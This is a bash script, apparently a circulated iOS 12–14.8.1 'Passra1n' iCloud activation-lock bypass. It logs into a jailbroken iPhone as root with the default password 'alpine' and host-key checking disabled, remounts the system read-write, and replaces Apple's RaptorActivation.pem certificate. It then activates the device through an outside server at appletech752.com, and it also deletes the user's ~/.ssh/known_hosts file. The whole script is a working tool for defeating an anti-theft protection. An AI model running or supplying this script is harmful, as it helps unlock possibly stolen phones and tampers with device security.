#!/bin/bash

# Always Apple FTD Passra1n Bypass Script
# iOS 12.0 to 14.8.1 Tethered iCloud Bypass

# Remove known_hosts file so we don't run into ssh key issue
rm -rf ~/.ssh/known_hosts

# Change to the current dir
cd "`dirname "$0"`"

echo ""

# Kill iproxy in case its already runnning
killall iproxy

echo "Starting iproxy..."

# Run iproxy in the background
#./iproxy 2222:44 > /dev/null 2>&1 &
iproxy 2222:44 > /dev/null 2>&1 &

sleep 2

# Mount the filesystem to make modifications 
echo "Mounting Filesystems as Read-write..."
./tools/sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no -p 2222 "root@localhost" 'mount -o rw,union,update /'
echo "Mounted!"

sleep 2

# Remove old RaptorActivation.pem file
echo "Deleting old RaptorActivation.pem off of device"
./tools/sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no -p 2222 "root@localhost" 'rm -rf /System/Library/PrivateFrameworks/MobileActivation.framework/Support/Certificates/RaptorActivation.pem'

sleep 2

# Upload new RaptorActivation.pem file
echo "Injecting new RaptorActivation.pem"
./tools/sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no -p2222 root@localhost "dd of=/System/Library/PrivateFrameworks/MobileActivation.framework/Support/Certificates/RaptorActivation.pem" < patches/raptor_activation
echo "Injected cert!"

sleep 3

./tools/ideviceactivation activate -s https://appletech752.com/server/epicstuff.php -d

#./tools/ideviceactivation activate -s aaftd.000webhostapp.com/ -d
#/usr/local/bin/ideviceactivation activate -s aaftd.000webhostapp.com/ -d

# Kill iproxy
killall iproxy

echo "Activation Payload Ran!"

echo ""